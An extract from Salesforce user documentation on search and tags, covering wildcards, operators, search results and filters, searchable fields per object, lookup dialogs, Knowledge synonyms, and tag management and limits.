
Available in: All Editions except Database.com

Wildcards Wildcard * (asterisk) Description Asterisks match one or more characters at the middle or end (not the beginning) of your search term. For example, a search for john* finds items that start with variations on the term john, such as, johnson or johnny. A search for mi* meyers finds items with mike meyers or michael meyers. If you're using sidebar search, an * is automatically appended to the end of the search string. You can use an * at the beginning of a search term in a standard lookup search. Question marks match only one character in the middle or end (not the beginning) of your search term. For example, a search for jo?n finds items with the term john or joan but not jon or johan. If you're using global search, the ? is removed from the end of your search term and isn't treated as a wildcard. You can't use a ? in a lookup search.

? (question mark)

Wildcard Behavior and Limitations Wildcards take on the type of the preceding character. For example, aa*a matches aaaa and aabcda, but not aa2a or aa.!//a, and p?n matches pin and pan, but not p1n or p!n. Likewise, 1?3 matches 123 and 143, but not 1a3 or 1b3. You can't search for a ? or * in a search phrase that is enclosed in quotation marks or when Exact phrase is selected in the search scope because they function as wildcards. For example, "my wo?d" matches my wood and my word. A wildcard (*) is appended at the end of single characters in Chinese, Japanese, Korean, and Thai (CJKT) searches, except in exact phrase searches.

348

Search and Tags

Refining Search

If you're entering search terms in global search, the search box drop-down list gives you the option to search for your term with an * added to the end. For example, type jo in the search box, then select Search for jo* (starts with) to find joan, john, johnson, and other matches that start with jo.

See Also:
How Search Works Searching in Salesforce.com Search Results

Refining Search Using Operators


Available in: All Editions except Database.com Operators not available in: Connect Offline

Sidebar and standard lookup search don't support the use of operators. Operators Operator support is case-insensitive. Operator AND Description Finds items that match all of the search terms. For example, acme AND california finds items with the word acme and the word california, but not items with only the word acme. Using AND is optional in most cases, because searching for acme california is the same as searching for acme AND california. However, when searching articles, documents, and solutions on their respective tabs, AND must be used because OR is the default operator for these objects on their tabs. OR AND NOT ( ) (parentheses) " " (quotation marks) Finds items with at least one of the search terms. For example, acme OR california finds items with either acme or california or both. Finds items that don't contain the search term. For example, acme AND NOT california finds items that have the word acme but not the word california. Group search terms together. Grouped search terms are evaluated before other search terms in your string. See Search Order on page 350. Find an exact phrase. Sidebar search automatically places the quotation mark operators around any search string that you enter. This is the same as selecting Exact phrase in advanced search or global search. For example, a search for "monday meeting" finds items that contain monday meeting, but not items that contain monday afternoon meeting or monday's meeting. The asterisk (*) and question mark (?) function as wildcards when included in a search phrase that is enclosed in quotation marks or when Exact phrase is selected in the search scope.

349

Search and Tags

Search Results

Search Order When you combine multiple operators in a search string, they are evaluated in this order: 1. () (parentheses) 2. AND and AND NOT (evaluated from right to left) 3. OR These examples show how search strings are evaluated: Searching for... Is the same as... Finds items with the words...

acme AND california AND NOT acme AND (california AND NOT acme and california but not meeting meeting meeting) acme AND NOT california AND acme AND NOT (california AND acme but not with both california and meeting meeting meeting) acme AND california OR meeting acme AND (california OR meeting) (acme AND california) OR meeting acme AND (california OR meeting)

acme and california and items with the word meeting acme and california and items with the words acme and meeting

See Also:
How Search Works Searching in Salesforce.com Search Results

Search Results
Available in: All Editions except Database.com

Your search results include items and tags that you have permission to view. How your results appear and how you can interact with them depends on whether youre using: Sidebar or advanced search Global search

Regardless of your search type, you can: Filter your search results Customize columns in your search results

350

Search and Tags

Search Results

(Administrators only) Customize filters for all users search results

See Also:
Search Overview How Search Works Searching in Salesforce.com Refining Search Field-Level Security Overview Browsing, Searching, and Managing Tags

Sidebar and Advanced Search Results


Available in: All Editions except Database.com

Your search results include related lists for items and tags that you have permission to view. From this page you can: Click a related list item at the top of the page to jump directly to an object's results. Objects with results are displayed in alphabetical order. The number of results for each object is displayed. For example, Contacts [25+] means there are more than 25 contacts that match your search criteria. If your search returns a large number of results for a particular object, click Next Page or Previous Page to view the results. Click a result to open it or click Edit, if available. Click My Columns to customize columns in your search results. Click Show Filters, if available, to filter your search results. (Administrators only) Click Customize... to customize filters and specify search results columns and column order for all users' search results. Click Advanced Search..., if available, to refine your search.

See Also:
Search Overview How Sidebar Search Works How Advanced Search Works Searching in Salesforce.com Changing Sidebar Search Options Changing Advanced Search Scope

351

Search and Tags

Search Results

Global Search Results


Available in: All Editions except Database.com

Watch a Demo on Smart Search (2:12 minutes) Your search results include items and tags that you have permission to view. Global search keeps track of which objects you use and how often you use them, and arranges the search results accordingly. Search results for the objects you use most frequently appear at the top of the list. If global search doesnt have enough information about which objects you use, you see results for your previous saved scope or for all objects until it has more information.

From this page you can: 1. Click Search Chatter Feeds at the top left of the page to see Chatter posts and comments that include your search terms. On the Chatter feeds results page, save a topic or search result to your favorites on the Chatter page by clicking Add to Chatter Favorites. 2. Quickly see which items (ordered by most frequent use) were searched. Click any item to see only that item's results. Hover over and pin important items to the top of your results to manually change the order. You can always unpin them later.

3. Click Search All at the bottom of the left side or under the related lists to do a one-time search across all items using your current search terms. After clicking Search All, you can pin items that dont appear in your scope to the top of your search results. You can always unpin them later.

352

Search and Tags

Search Results

4. Use the search box in the page to search within your current view. For example, if you drill down to view Chatter feeds and then decide to search Chatter for something different, enter your new search terms and click Search Chatter Feeds to search across all Chatter posts and comments. 5. Click Options... to restrict your search to records you own, if available, to exact phrase searches, and to divisions, if your organization uses them. 6. Take a guided tour of the search results. 7. See up to five results for each item you searched. Click a result to open it or click Edit, if available. Click Show Filters, if available, to filter your search results. Click Show More to drill down to the full list of that item's results.

8. Drill down to a specific item's results, and then: Click Show Filters, if available, to filter your search results. Click My Columns to customize columns in your search results. (Administrators only) Click Customize... to customize filters and specify search results columns and column order for all users' search results.

See Also:
Chatter Feed Search Results Search Overview How Global Search Works Searching in Salesforce.com Changing Global Search Options

Customizing Search Results Columns


Available in: All Editions except Database.com

For most objects, you can specify the enhanced lookup and search results columns and column order. 1. In the object's search results related list, click My Columns (Administrators click Customize... > My Columns). 2. To choose columns, use Add and Remove.

353

Search and Tags

Search Results

Your administrator determines the available columns in a search layout. If search layouts aren't available for the object, such as articles, dashboards, reports, and tags, you can't customize the columns. 3. To reorder columns, use Up and Down. 4. Click Save. 5. Click column headings to sort the results in ascending or descending order. Sorting applies across all search results for a particular object, including those on subsequent pages. You can't click on column headings for multi-select picklist fields because you can't sort the multi-select picklist field type.

See Also:
How Search Works Searching in Salesforce.com Refining Search Search Results

Filtering Search Results


Available in: All Editions except Database.com

To restrict search or enhanced lookups results for objects, you can use filters. Your administrator determines the available filter fields in a search layout. If your administrator didn't create a search layout for the object or if search layouts aren't available for the object, such as articles, dashboards, reports, and tags, you can't filter your results. Filters aren't available in Customer Portals or partner portals. Filtering Search Results for Most Objects 1. Click Show Filters in a search results related list. 2. Enter filter criteria using the following tips and click Apply Filters. When filtering search results, the operator is selected automatically based on the field type. The = (equals) operator is used for fields with the following types of fields: Dates Numbers, except auto number or phone fields Record IDs All other fields use the contains operator. Auto number and phone fields use the contains operator because they can contain non-numeric characters. Except for number fields, commas are used as OR operators in search results filters. For example, if you enter acme, california in the Account Name filter field, your results include account names with either acme or california. For number fields (where a comma can be part of a number) commas aren't treated as OR operators and users must explicitly enter the OR operator.

354

Search and Tags

Search Results

Note: Explicitly using the OR operator is only supported in number fields.

The criteria you specify are AND based. That is, if you specify more than one criterion, the result includes only records that match all of the criteria. For example, if you enter acme california in the Account Name filter field, your results include account names with both acme and california. Any field of type URL is filtered based on the exact value that is entered by the user for that field. Tip: We recommend that you don't include http:// or https:// in URL filter criteria because you may not get the results that you expect. When you enter values in URL fields and save records, Salesforce adds http:// to any URL that doesnt start with http:// or https://. The added http:// isn't stored in the database. For example, if you enter salesforce.com in the Website field and save the record, the Website field displays http://salesforce.com, but the value stored is salesforce.com. Therefore, if you enter http://salesforce.com in the Website filter field, your results don't include your record.

You can enter special values for dates; see Literal Date Values for Filter Criteria. If your organization uses multiple currencies, see Tips for Entering Filter Criteria on Multiple Currencies. If you perform a blank lookupthat is, you click the lookup icon without entering a search termfilters only apply to items in the most recently used list. Otherwise, filters apply to both this list and the resulting records of the lookup.

Clearing and Hiding Filters Click Clear Filters to remove all filters and see unfiltered search results. Click Hide Filters to apply the filters but not display them on the page. Filtering Search Results for Articles, Files, Products, and Solutions To filter the results for articles, files, and products, and to further filter the results for solutions, click the link in the appropriate results related list. Your search and results automatically appear on the new page. If you filter the solutions results on the Search Results page and then use the link in the appropriate results related list to further filter your results, your filter options aren't applied on the new page.

See Also:
How Search Works Searching in Salesforce.com Refining Search Search Results

355

Search and Tags

Search Fields

Search Fields
The types of records you can search vary according to which Edition you have.

You can search for information within any of the fields listed in the following tables. Search for articles; Chatter groups, files, and people; Salesforce CRM Content; documents; products; and solutions on their tabs or with global search (sidebar search and advanced search aren't designed to find these objects). Search for information in Chatter feeds using global search. Note: Users can search fields that are hidden from them by field-level security. When users search for a value in a field hidden to them, the search results include the record that contains the field, even though users can't see the field. Business Account Fields Person Account Fields Article Fields Asset Fields Attachment Fields Campaign Fields Case Fields Chatter Feed Fields Chatter Group Fields Contact Fields Salesforce CRM Content Fields Contract Fields Contract Line Item Fields Custom Object Fields Document Fields Entitlement Fields File Fields Idea Fields Lead Fields Note Fields Opportunity Fields People Fields Price Book and Product Fields Question Fields Quote Fields Report Fields Service Contract Fields Solution Fields Tags Task, Calendar Event, and Requested Meeting Fields

356

Search and Tags

Search Fields

User Fields Lookup Search Fields

Business Account Fields


Search Type Field Searched
Account Name Account Name (Local) Account Number Account Site Billing Address Description D-U-N-S Number (This field

Sidebar

Advanced

Global

is only available to organizations that use Data.com Corporate or Data.com Premium.)


Fax Phone Shipping Address Ticker Symbol Website

All custom auto-number fields and custom fields that are set as an external ID (You don't need to enter leading zeros.) All custom fields of type text, text area, long text area, rich text area, email, and phone

Person Account Fields


Search Type Field Searched
Account Name Account Name (Local)

Sidebar

Advanced

Global

357

Search and Tags

Search Fields

Search Type Field Searched


Account Number Account Site Assistant Assistant Phone Billing Address Description Email Fax Home Phone Mailing Address Mobile Other Address Other Phone Shipping Address Ticker Symbol Title Website

Sidebar

Advanced

Global

All custom auto-number fields and custom fields that are set as an external ID (You don't need to enter leading zeros.) All account and contact custom fields of type text, text area, long text area, rich text area, email, and phone

Article Fields
Neither sidebar search nor advanced search are designed to find articles. To find an article, use global search or the search tools in the sidebar on the Articles tab. For more information, see Searching for Articles on page 3481.

358

Search and Tags

Search Fields

Search Type Field Searched All standard text fields


Body File

Sidebar

Advanced

Global

Articles Tab

All custom auto-number fields and custom fields that are set as an external ID (You don't need to enter leading zeros.) All custom fields of type text, text area, long text area, rich text area, email, and phone

Asset Fields
Search Type Field Searched
Asset Name Description Serial Number

Sidebar

Advanced

Global

All custom auto-number fields and custom fields that are set as an external ID (You don't need to enter leading zeros.) All custom fields of type text, text area, long text area, rich text area, email, and phone

Attachment Fields
Search Type Field Searched
File Name

Sidebar

Advanced

Global

359

Search and Tags

Search Fields

Campaign Fields
Search Type Field Searched
Campaign Name Description

Sidebar

Advanced

Global

All custom auto-number fields and custom fields that are set as an external ID (You don't need to enter leading zeros.) All custom fields of type text, text area, long text area, rich text area, email, and phone

Case Fields
Search Type Field Searched
Case Comments Case Number

Sidebar

Advanced

Global

(You don't need to enter leading zeros.)


Description Subject Web Company (of person who

submitted the case online)


Web Email (of person who

submitted the case online)


Web Name (of person who

submitted the case online)


Web Phone (of person who

submitted the case online) All custom auto-number fields and custom fields that are set as an external ID (You don't need to enter leading zeros.)

360

Search and Tags

Search Fields

Search Type Field Searched All custom fields of type text, text area, long text area, rich text area, email, and phone Sidebar Advanced Global

Chatter Feed Fields


Neither sidebar search nor advanced search are designed to find information in Chatter feeds. To find information in a feed, use global search. For more information, see Searching in Chatter on page 2562. Search Type Field Searched
@Name (where Name is a user

Sidebar

Advanced

Global

namefor example, @Madison Rigsby)


Comment Body Parent Record Name Post Body Poster Name

Chatter Group Fields


Neither sidebar search nor advanced search are designed to find Chatter groups. To find a Chatter group, use global search or the search tools on the Groups tab. For more information, see Searching in Chatter on page 2562. Search Type Field Searched
Description Group Name

Sidebar

Advanced

Global

Groups Tab

Contact Fields
Search Type Field Searched
Assistant Asst. Phone Department Description

Sidebar

Advanced

Global

361

Search and Tags

Search Fields

Search Type Field Searched


Email Fax First Name First Name (Local) Home Phone Last Name Last Name (Local) Mailing Address Mobile Other Address Other Phone Phone Title

Sidebar

Advanced

Global

All custom auto-number fields and custom fields that are set as an external ID (You don't need to enter leading zeros.) All custom fields of type text, text area, long text area, rich text area, email, and phone

Salesforce CRM Content Fields


Neither sidebar search nor advanced search are designed to find content. To find content, use global search (results appear as files) or the search tools on the Content tab. For more information, see Searching for Files on page 2546 and Searching for Content on page 310.

Contract Fields
Search Type Field Searched
Billing Address Contract Name Contract Number

Sidebar

Advanced

Global

362

Search and Tags

Search Fields

Search Type Field Searched


Description Shipping Address Special Terms

Sidebar

Advanced

Global

All custom auto-number fields and custom fields that are set as an external ID (You don't need to enter leading zeros.) All custom fields of type text, text area, long text area, rich text area, email, and phone

Contract Line Item Fields


Search Type Field Searched
Description Name

Sidebar

Advanced

Global

Custom Object Fields


Custom object records appear in search results only if they have a custom tab. Search Type Field Searched
Name

Sidebar

Advanced

Global

All custom auto-number fields and custom fields that are set as an external ID (You don't need to enter leading zeros.) All custom fields of type email and phone All custom fields of type text, text area, long text area, and rich text area

363

Search and Tags

Search Fields

Document Fields
Neither sidebar search nor advanced search are designed to find documents. To find a document, use global search or the Find Document button on the Documents tab. For more information, see Searching for Documents on page 253.

Entitlement Fields
Search Type Field Searched
Name

Sidebar

Advanced

Global

File Fields
Neither sidebar search nor advanced search are designed to find files. To find a file, use global search or the search tools on the Files tab. For more information, see Searching for Files on page 2546. Search Type Field Searched
Body Description Extension (such as

Sidebar

Advanced

Global

Files Tab

ppt)
Name Owner

All custom auto-number fields and custom fields that are set as an external ID (You don't need to enter leading zeros.) All custom fields of type text, text area, long text area, rich text area, email, and phone

Idea Fields
Search Type Field Searched
Comment Description

Sidebar

Advanced

Global

364

Search and Tags

Search Fields

Search Type Field Searched


Title

Sidebar

Advanced

Global

Lead Fields
Search Type Field Searched
Address Company Company D-U-N-S Number

Sidebar

Advanced

Global

(This field is only available to organizations that use Data.com Corporate or Data.com Premium.)
Description Email Fax First Name First Name (Local) Last Name Last Name (Local) Mobile Phone Title

All custom auto-number fields and custom fields that are set as an external ID (You don't need to enter leading zeros.) All custom fields of type text, text area, long text area, rich text area, email, and phone

365

Search and Tags

Search Fields

Note Fields
Search Type Field Searched
Body Title

Sidebar

Advanced

Global

Opportunity Fields
Search Type Field Searched
Description Opportunity Name

Sidebar

Advanced

Global

All custom auto-number fields and custom fields that are set as an external ID (You don't need to enter leading zeros.) All custom fields of type text, text area, long text area, rich text area, email, and phone

People Fields
Neither sidebar search nor advanced search are designed to find people; however, sidebar search and advanced search can be used to find users. See User Fields. To find people, use global search or the search tools on the People tab. For more information, see Searching in Chatter on page 2562. Search Type Field Searched
About Me Email First Name Last Name Name Nickname Phone

Sidebar

Advanced

Global

People Tab

366

Search and Tags

Search Fields

Search Type Field Searched


Record ID (15

Sidebar

Advanced

Global

People Tab

character Record ID only)


Username

All custom auto-number fields and custom fields that are set as an external ID (You don't need to enter leading zeros.) All custom fields of type text, text area, long text area, rich text area, email, and phone

Price Book and Product Fields


Neither sidebar search nor advanced search are designed to find price books or products. To find a price book or product, use global search or the Price Books and Find Products areas on the Products tab. For more information about searching for price books and products, see Searching for Price Books and Searching for Products.

Question Fields
The Answers tab in Salesforce lists all the questions posted to an answers community. Search Type Field Searched
Question Body Question Title Reply Body

Sidebar

Advanced

Global

Quote Fields
Search Type Field Searched
Quote Name Quote Number

Sidebar

Advanced

Global

367

Search and Tags

Search Fields

Report Fields
Search Type Field Searched
Description Report Name

Sidebar

Advanced

Global

Service Contract Fields


Search Type Field Searched
Contract Number Description Name Special Terms

Sidebar

Advanced

Global

Solution Fields
Neither sidebar search nor advanced search are designed to find solutions. To find a solution, use global search or the Find Solution button on the Solutions tab. For more information, see Searching for Solutions on page 3450.

Tags
You can search for tags in sidebar, advanced, and global search.

Task, Calendar Event, and Requested Meeting Fields


Archived activities are accessible in advanced search only. Search Type Field Searched
Comments (task and events

Sidebar

Advanced

Global

only)
Subject

All custom auto-number fields and custom fields that are set as an external ID (You don't need to enter leading zeros.) All custom fields of type text, text area, long text area, rich text area, email, and phone

368

Search and Tags

Search Fields

User Fields
If you're using Chatter and searching for people, see People Fields. Search Type Field Searched
About Me Email First Name Last Name Name Nickname Phone Record ID (15 character

Sidebar

Advanced

Global

Record ID only)
Username

All custom auto-number fields and custom fields that are set as an external ID (You don't need to enter leading zeros.) All custom fields of type text, text area, long text area, rich text area, email, and phone

Lookup Search Fields


The lookup icon, which appears as a magnifying glass next to many fields, opens a dialog that allows you to search for other records. Below is the list of fields that are used for matching when searching in the standard or enhanced lookup dialog. Type of Record Account Fields Searched
Account Name Account Name (Local) Website

Standard Lookups

Enhanced Lookups

Campaign Case Community

Campaign Name Case Number Community Name

369

Search and Tags

Search Fields

Type of Record Contact

Fields Searched
First Name First Name (Local) Last Name Last Name (Local)

Standard Lookups

Enhanced Lookups

Contract

Contract Name Contract Number

Discussion Document

Title Document Name Keywords

Idea Lead

Title Company Company (Local) Name Name (Local)

Opportunity

Account Name Opportunity Name

Product

Product Code Product Name

Self-Service User

First Name Last Name

Solution User Note: Only active users are searchable.

Solution Title First Name Last Name Name

370

Search and Tags

Lookup Dialog Search

Type of Record Custom Objects

Fields Searched
Name

Standard Lookups

Enhanced Lookups

See Also:
Field-Level Security Overview Search Overview How Search Works Searching in Salesforce.com

Lookup Dialog Search


Available in: All Editions

Salesforce objects often include lookup fields that allow users to associate two records together in a relationship. For example, a contact record includes an Account lookup field that represents the relationship between the contact and its associated organization. The object that contains the lookup field is the source object, while the object the lookup points to is the target object. Lookup fields appear with the button on record edit pages. Clicking opens a lookup search dialog that allows the user to search for the record that should be associated with the one being edited. A blank lookup is performed when you click the lookup icon without entering a search term. Salesforce provides two types of lookups. Standard Lookups By default, all lookups behave as standard lookups. When searching for records with a standard lookup, only the fields listed in Lookup Search Fields are queried. Standard lookups return up to 50 records at a time in alphabetical order and don't allow for sorting, filtering, or customizable columns. Enhanced Lookups If enabled by your administrator, account, contact, user, and custom object lookups can behave as enhanced lookups. Enhanced lookups update standard lookup fields with the following functionality: Enhanced lookup search queries are broken into separate search terms at any split between alphabetic, numeric, and special characters. For example, if you enter ALL4ONE in an enhanced lookup field, the resulting query searches for ALL and 4 and ONE. Consequently, entering ALL the 4 and ONE returns ALL4ONE. Also, searching for S& returns fields containing both S& and &S. Enhanced lookups allow users to sort and filter search results by any field that is available in regular search results. Users can also hide and reorganize the columns that are displayed in the results window. Note: In addition to user-controlled filters, administrators can create lookup filters on relationship fields that limit the valid values and lookup dialog results for the field.

371

Search and Tags

Lookup Dialog Search

Enhanced lookups return all records that match your search criteria and allow you to page through large sets of search results.

When you click a standard or enhanced lookup icon before entering anything in the lookup field, a list of all recently used records displays. However, for standard lookups of products and queues, the dialog shows an alphabetical listing of the first 50 records. For standard lookups of campaigns, the dialog shows the first 100 active campaigns. For the asset standard lookup on a case, the dialog shows all the assets tied to the contact on the case, if any. If you click the standard or enhanced lookup icon next to a field that is populated with a string, the string value is used as the search query. For standard or enhanced lookups of users, the dialog shows a list of recently accessed user records from across your organization. If you perform a blank lookupthat is, you click the lookup icon without entering a search termfilters only apply to items in the most recently used list. Otherwise, filters apply to both this list and the resulting records of the lookup. Note: Only active users are searchable, except in the lookup for mass transfers, where inactive users are also searchable.

Lookup Auto-Completion
If enabled by your administrator, both standard lookups and enhanced lookups can display a dynamic list of matching recently used records when a lookup field is edited. This list is restricted to objects of the appropriate type and, with the exception of lookups of users, is populated from recently used items. For example, while editing an Account lookup, you can see recently used accounts with names that match the prefix you have entered. Recently used contacts don't appear in this list. Lookup auto-completion is subject to the following restrictions: You must have recently visited records of the appropriate type for the lookup's auto-completion list to be populated. You must be editing the lookup field on a record's edit page.

Tips for Using Standard and Enhanced Lookups


Consider these tips when using standard and enhanced lookups. In standard lookup searches, a wildcard is automatically appended to each of your search terms. For example, a search for bob jo is really a search for bob* jo* and returns items with bob jones, bobby jones, or bob johnson. You can also explicitly use an asterisk (*) wildcard in your search string. For enhanced lookups in particular, the wildcard can't be the first character in the search term or phrase, and search results may include more records than you expect if your search terms contain a combination of letters, numbers, and special characters. If you enter a value into the lookup text box and save the record without clicking the lookup icon ( ), Salesforce automatically performs a search and assigns the result to the lookup field. If more than one result is found, Salesforce displays a drop-down list of the matching options. If no results match the text you entered, an error displays instead. To search for contacts, leads, users, or other individuals that include spaces in the First Name or Last Name fields, enter quotes around the terms. For example, to search for bob von hausen, enter "bob von hausen". In organizations where the Salesforce Customer Portal or partner portal is enabled, you can filter the results that appear on the user lookup dialog by selecting either a queue or group of users from the Owner or Assigned To drop-down list.

372

Search and Tags

How Salesforce Knowledge Synonyms Work in Searches

If your organization uses divisions and you have the Affected by Divisions permission, your lookup dialog search results include records in the division you select in the lookup dialog window.

See Also:
Configuring Lookups Search Overview

How Salesforce Knowledge Synonyms Work in Searches


Available in: Enterprise, Unlimited, and Developer Editions

Salesforce Knowledge synonyms affect search behavior in the following ways: Priority If a search term is part of a synonym group, the search results list items that contain the search term, followed by items that contain other terms in the synonym group. For example, if this synonym group is defined: fruit, oranges Then a search for oranges matches a list of items containing oranges, followed by items containing fruit. Note: In the Article Management tab, if you sort the list by clicking a column header, the sort order, not priority, persists in the current and additional searches.

Wildcards If a wildcard is used in a search, the wildcard expands the search term, but the search doesn't match any synonyms, even if the search phrase contains a defined synonym. For example, if these synonym groups are defined: fruit, oranges, apples cabbage, lettuce Then a search for orang* lettuce matches items that contain orange and oranges, but doesn't match items that contain fruit, apples, and cabbage. Operators If a search phrase contains an operator (and/or/and not), synonym matches are returned only if the entire search phrase is a defined synonym. For example, if these synonym groups are defined: fruit, oranges and apples vegetables, carrots

373

Search and Tags

How Salesforce Knowledge Synonyms Work in Searches

Then a search for oranges and apples returns matches for all items that contain the literal string oranges and apples as well as items that contain the term fruit. However, if the search phrase is fruit and vegetables, which is not a defined synonym, the search matches only those items that contain both the terms, fruit and vegetables. In this case, and functions as an operator and synonym matches are not returned in the search results. In terms of this example, items that contain a synonym of either fruit or vegetables (items that contain the term carrots or the phrase oranges and apples) are not returned. Exact phrase matches If a defined synonym is only a part of a longer exact phrase search, the search doesn't treat it as a synonym. For example, if this synonym group is defined: oranges apples, fruit Then an exact phrase search for raspberries oranges apples doesn't match items that contain the word fruit. Stemming A synonym is not stemmed in search results; rather, it is matched as an exact phrase. However, the search term is stemmed. For example, if this synonym group is defined: quench, drink orange juice Then a search for quench matches items that contain quench, quenched, quenching, and drink orange juice, but doesn't match items that contain drinking orange juice. Ignored words Words that are normally ignored in searches, such as the, to, and for, are matched if the word is part of a defined synonym. For example, if this synonym group is defined: peel the orange, cut the apple Then a search for peel the orange matches items that contain the exact string peel the orange. Overlapping synonyms If a search term consists of overlapping synonyms from different groups, the search matches synonyms in all of the overlapping synonym groups. For example, if these synonym groups are defined: orange marmalade, citrus marmalade recipe, sugar

Then a search for orange marmalade recipe matches items that contain orange marmalade, citrus, marmalade recipe, and sugar. Subsets If one synonym group includes a synonym that is a subset of a synonym in another group, a search for the subset term doesn't match items that contain synonyms from the subset synonym group.

374

Search and Tags

Tags Overview

For example, if these synonym groups are defined: orange, apple orange marmalade, citrus marmalade, jam

Then a search for orange marmalade matches items that contain orange marmalade and citrus, but doesn't match items that contain apple or jam.

See Also:
Searching for Articles

Tags Overview
Available in: All Editions except Database.com

Tags are words or short phrases that you can associate with most Salesforce records to describe and organize their data in a personalized way. Use tags to group records from various objects by a common topic or use, and then use those tags in search to make finding information fast and intuitive. For example, if you met a number of contacts and leads at a conference, you might tag them all with the phrase User Conference 2011. You could then search for the User Conference 2011 tag and click that tag in search results to retrieve those records. Salesforce supports two types of tags. Personal tags are private. Only you can view any personal tags that you add to a record. Public tags are shared among all users in an organization. Any user with access to the record can view the public tags that you add.

Administrators can enable personal and public tags for accounts, activities, assets, campaigns, cases, contacts, contracts, dashboards, documents, events, leads, notes, opportunities, reports, solutions, tasks, and any custom objects (except relationship group members), allowing you to: Tag records Remove tags from a record Browse, search, and manage tags

See Also:
Tags Limits Tags Settings Using the Tags Sidebar Component Search Overview

375

Search and Tags

Tags Overview

Tagging Records
Available in: All Editions except Database.com

User Permissions Needed To edit tags on a record: Read on the record

1. On the top right corner of the record detail page, click Add Tags. If the record already has associated tags, click Edit Tags. 2. In the Personal Tags or Public Tags text boxes, enter comma-separated lists of the tags that you want to associate with the record. Tags can only contain letters, numbers, spaces, dashes, and underscores, and must contain at least one letter or number. As you enter new tags, up to 10 tags that have already been defined are displayed as auto-complete suggestions. As you type, the list of suggestions changes to show only those tags that match the prefix you have entered. To choose a suggestion, click it or use your keyboard arrow keys to select it and press the TAB or ENTER key. 3. Click Save. Tip: When you create or edit tags, you can press the ENTER key to save your changes or the ESC key to discard them.

Note: You and your organization are subject to limits on the number of personal and public tags that you can create and apply to records. If you attempt to tag a record with a new tag that exceeds one or more of these limits, the tag isn't saved. If this occurs, you can delete infrequently used tags from the Tags page. See Browsing, Searching, and Managing Tags on page 377.

See Also:
Using the Tags Sidebar Component Removing Tags from Records

Removing Tags from Records


Available in: All Editions except Database.com

User Permissions Needed To edit tags on a record: Read on the record

1. On the top right corner of the record detail page, click Edit Tags.

376

Search and Tags

Tags Overview

2. Next to the Personal Tags or Public Tags text boxes, click [X] next to the tag that you want to remove. 3. Click Save. Tip: When you create or edit tags, you can press the ENTER key to save your changes or the ESC key to discard them.

If the tag that you removed is the last instance of the tag, the tag is deleted from your organization completely. If other records use the tag, the tag still appears in search results and the Tags page.

See Also:
Tagging Records

Browsing, Searching, and Managing Tags


Available in: All Editions except Database.com

To access the Tags page, click the name of any tag on a detail page, or if your administrator added tags to the sidebar, click Tags in the sidebar. From this page, you can: View and browse tags Find records with tags Search tags Rename and delete tags Review personal tag statistics

Viewing and Browsing Tags Use the Personal Tags and Public Tags checkboxes to limit or expand your view. Because personal tags are private, you can only see the personal tags that you have defined. You can see all public tags that are defined in your organization. Click a letter at the top of the tag browsing area to view only tags that begin with that letter or click Next Page or Previous Page. By default, tags are listed in alphabetical order. From the Sort picklist, choose By Number of Uses to sort tags by the number of records that are tagged by them, or choose By Most Recently Used to sort tags by how recently they were added to a record. Finding Records with Tags Click a tag to see the list of records organized by object. The number of records associated with the tag is displayed next to the tag. You can narrow your results further by clicking additional tags. When more than one tag is selected, only records that match all selected tags are displayed in the list of results. Click [X] next to a tag to deselect it and remove it from the filter. Click Clear Selected Tag(s) to deselect all tags and start over.

377

Search and Tags

Tags Overview

Note: The number of records associated with a tag can sometimes be greater than the number of records displayed when you click that tag in the Tags page. This situation occurs if you tagged a record and then lost permission to view it because of a change in sharing, or if a record that you don't have access to has one or more public tags. Search results and the Tags page don't display custom objects that don't have an associated tab, even if tags are enabled for the custom object. If you want custom object records to appear in search results or on the Tags page, you must create an associated tab. The tab doesn't have to be visible to users.

You can customize columns and filter the search results. See Search Results. Searching Tags Enter terms in the Search Tags text box and click Search. Only tags that meet your search criteria are listed in the tag browsing area. You can then click any tag to view records associated with that tag. Search strings must include at least two characters and can include wildcards and operators. The most recent search result is saved in the tag browsing area next to the alphabet at the top of the page. Click the search string to return to your results. Renaming and Deleting Tags User Permissions Needed To rename or delete public tags: Tag Manager

To rename a tag, hover over the tag and select Rename from the drop-down list that appears around the tag. Enter a new name for the tag in the text box that appears and click Save. To delete a tag, hover over the tag and select Delete from the drop-down list that appears around the tag. The tag is removed from every record in your organization and is placed in the Recycle Bin. If you restore a tag from the Recycle Bin, it is automatically reassociated with the records from which it was removed. For more information, see Recycle Bin on page 58.

You can rename or delete any personal tag, but you must have the Tag Manager permission to rename or delete a public tag. Reviewing Personal Tag Statistics Click Personal Tag Usage on the right side. This page displays your current number of unique personal tags and personal tag applications. You can have a maximum of: 500 unique personal tags 5,000 instances of personal tags applied to records

If you are approaching your personal tag limits, consider merging similar tags into a single tag by renaming. For example, if you have tags for Bicycling, Cycling, and Biking, you can rename Cycling and Biking to Bicycling to reduce your number of unique personal tags.

378

Search and Tags

Browsing and Searching Setup

To reduce the number of instances of tags applied to records, delete personal tags that you no longer use.

See Also:
Tagging Records Tags Limits Using the Tags Sidebar Component Search Overview

Tags Limits
Available in: All Editions except Database.com

You can have a maximum of: 500 unique personal tags 5,000 instances of personal tags applied to records

Across all users, your organization can have a maximum of: 1,000 unique public tags 50,000 instances of public tags applied to records 5,000,000 instances of personal and public tags applied to records

See Also:
Tags Overview Tagging Records Removing Tags from Records Browsing, Searching, and Managing Tags Deleting Personal Tags for Deactivated Users

Browsing and Searching Setup


Available in: All Editions

User Permissions Needed To view setup pages: View Setup and Configuration

The sidebar in setup includes a search box for browsing and quickly finding setup tools. In the left pane of any setup page, you can:

379

Salesforce Touch

Salesforce Touch Overview

Type the first few characters of a setting name in the Quick Find box. As you type, items that match your search terms appear in the menu. Click an item in the list to go to its setup page. For example, to quickly find the user profiles page, type prof in the Quick Find box. Click Expand All to open all setup menus. If you have typed anything in the Quick Find box, only the menus with matching items are expanded. Click Collapse All to close all setup menus.

Quick Find only returns results from the setup menuit doesn't search records in your organization. To search for records, use global search, sidebar search, or advanced search.

SALESFORCE TOUCH
Salesforce Touch Overview
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

